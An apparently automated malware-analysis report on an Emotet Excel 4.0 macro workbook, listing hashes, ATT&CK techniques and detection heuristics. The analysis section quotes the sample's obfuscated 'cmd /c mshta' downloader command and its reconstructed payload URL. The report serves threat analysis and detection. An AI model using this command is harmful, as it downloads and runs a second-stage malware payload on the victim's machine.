Emotet Office (OLE) / .XLSX malware analysis — malicious · cb72411eda14bcfa

MALICIOUS

Office (OLE) / .XLSX

129.0 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel

MD5: 6c468b658a36325eb4d31115e204cea0 SHA-1: 7b5588ec8252120443840d78533f3d8b4b7014a6 SHA-256: cb72411eda14bcfa779768a7613cfd14ee3fe81b4146cd94786f02b6f1a6c385

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro sheet with an Auto_Open entry, and ClamAV identifies it as Emotet. The extracted XLM macro explicitly defines a string "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l" which is then used in a SET.NAME command. This command is designed to download and execute a second-stage payload from the reconstructed URL http://0xc12a24f5/cc.html.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	653 bytes

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